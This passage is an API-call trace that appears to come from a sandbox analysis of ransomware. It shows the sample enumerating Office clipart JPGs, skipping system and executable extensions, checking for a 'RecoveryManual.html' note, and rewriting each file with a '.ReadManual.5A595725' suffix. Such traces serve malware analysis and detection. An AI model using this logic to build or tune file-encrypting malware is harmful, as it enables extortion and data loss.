1 [0269.955] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.956] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.956] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.956] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.956] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.956] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.956] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.956] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.956] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.956] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.956] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.956] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.956] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG" [0269.956] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG.ReadManual.5A595725" [0269.956] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG.ReadManual.5A595725") returned 87 [0269.956] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39062470898) returned 1 [0269.956] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg")) returned 0x20 [0269.956] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.957] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=112698) returned 1 [0269.957] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b83a, lpName=0x0) returned 0x184 [0269.957] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.957] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.957] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.959] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.959] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1b83a) returned 0x1de0000 [0269.962] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0269.963] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39063131408) returned 1 [0269.963] CloseHandle (hObject=0x184) returned 1 [0269.963] SetSecurityInfo () returned 0x57 [0269.963] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.963] CloseHandle (hObject=0x194) returned 1 [0269.963] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1df43, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0382931.JPG", cAlternateFileName="")) returned 1 [0269.963] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0382931.JPG" | out: lpString1="J0382931.JPG") returned="J0382931.JPG" [0269.963] lstrcmpiW (lpString1="J0382931.JPG", lpString2="RecoveryManual.html") returned -1 [0269.963] StrStrIW (lpFirst="J0382931.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.963] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.963] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.963] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.963] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.963] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.963] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.963] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.963] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.963] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.963] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.963] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.963] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.963] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.963] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.963] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG" [0269.963] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG.ReadManual.5A595725" [0269.963] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG.ReadManual.5A595725") returned 87 [0269.963] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39063227508) returned 1 [0269.964] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg")) returned 0x20 [0269.964] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.964] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=122691) returned 1 [0269.964] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1df43, lpName=0x0) returned 0x184 [0269.964] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.965] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.965] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.967] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.967] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1df43) returned 0x1de0000 [0269.970] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0269.971] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39063943561) returned 1 [0269.971] CloseHandle (hObject=0x184) returned 1 [0269.971] SetSecurityInfo () returned 0x57 [0269.971] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.971] CloseHandle (hObject=0x194) returned 1 [0269.971] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x184d3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0382938.JPG", cAlternateFileName="")) returned 1 [0269.971] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0382938.JPG" | out: lpString1="J0382938.JPG") returned="J0382938.JPG" [0269.971] lstrcmpiW (lpString1="J0382938.JPG", lpString2="RecoveryManual.html") returned -1 [0269.971] StrStrIW (lpFirst="J0382938.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.971] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.971] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.971] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.971] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.971] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.971] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.971] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.971] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.971] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.971] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.971] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.971] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.971] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.971] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.972] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG" [0269.972] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG.ReadManual.5A595725" [0269.972] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG.ReadManual.5A595725") returned 87 [0269.972] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39064039555) returned 1 [0269.972] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg")) returned 0x20 [0269.973] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.973] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=99539) returned 1 [0269.973] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x184d3, lpName=0x0) returned 0x184 [0269.973] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.974] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.974] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.975] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.976] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x184d3) returned 0x1de0000 [0269.979] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0269.979] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39064812988) returned 1 [0269.979] CloseHandle (hObject=0x184) returned 1 [0269.979] SetSecurityInfo () returned 0x57 [0269.980] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.980] CloseHandle (hObject=0x194) returned 1 [0269.980] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1aba5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0382939.JPG", cAlternateFileName="")) returned 1 [0269.980] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0382939.JPG" | out: lpString1="J0382939.JPG") returned="J0382939.JPG" [0269.980] lstrcmpiW (lpString1="J0382939.JPG", lpString2="RecoveryManual.html") returned -1 [0269.980] StrStrIW (lpFirst="J0382939.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.980] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.980] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.980] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.980] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.980] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.980] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.980] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.980] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.980] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.980] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.980] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.980] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.980] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.980] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.980] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG" [0269.980] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG.ReadManual.5A595725" [0269.980] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG.ReadManual.5A595725") returned 87 [0269.980] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39064909318) returned 1 [0269.980] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg")) returned 0x20 [0269.981] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.981] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=109477) returned 1 [0269.981] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1aba5, lpName=0x0) returned 0x184 [0269.981] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.982] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.982] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.984] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.984] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1aba5) returned 0x1de0000 [0269.987] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0269.988] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39065654538) returned 1 [0269.988] CloseHandle (hObject=0x184) returned 1 [0269.988] SetSecurityInfo () returned 0x57 [0269.988] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.988] CloseHandle (hObject=0x194) returned 1 [0269.988] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1653a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0382942.JPG", cAlternateFileName="")) returned 1 [0269.988] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0382942.JPG" | out: lpString1="J0382942.JPG") returned="J0382942.JPG" [0269.988] lstrcmpiW (lpString1="J0382942.JPG", lpString2="RecoveryManual.html") returned -1 [0269.988] StrStrIW (lpFirst="J0382942.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.988] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.988] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.988] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.988] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.988] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.988] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.988] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.988] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.988] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.988] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.988] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.989] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.989] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.989] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.989] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG" [0269.989] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG.ReadManual.5A595725" [0269.989] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG.ReadManual.5A595725") returned 87 [0269.989] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39065750255) returned 1 [0269.989] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg")) returned 0x20 [0269.990] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.990] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=91450) returned 1 [0269.990] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1653a, lpName=0x0) returned 0x184 [0269.990] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.991] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.991] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.992] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.993] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1653a) returned 0x1de0000 [0269.995] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0269.996] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39066457732) returned 1 [0269.996] CloseHandle (hObject=0x184) returned 1 [0269.996] SetSecurityInfo () returned 0x57 [0269.996] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.996] CloseHandle (hObject=0x194) returned 1 [0269.996] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13e1d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0382944.JPG", cAlternateFileName="")) returned 1 [0269.996] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0382944.JPG" | out: lpString1="J0382944.JPG") returned="J0382944.JPG" [0269.996] lstrcmpiW (lpString1="J0382944.JPG", lpString2="RecoveryManual.html") returned -1 [0269.996] StrStrIW (lpFirst="J0382944.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.996] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0269.996] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0269.996] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0269.996] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0269.996] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0269.996] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0269.996] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0269.996] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0269.996] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0269.997] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0269.997] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0269.997] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0269.997] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0269.997] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0269.997] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG" [0269.997] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG.ReadManual.5A595725" [0269.997] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG.ReadManual.5A595725") returned 87 [0269.997] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39066556479) returned 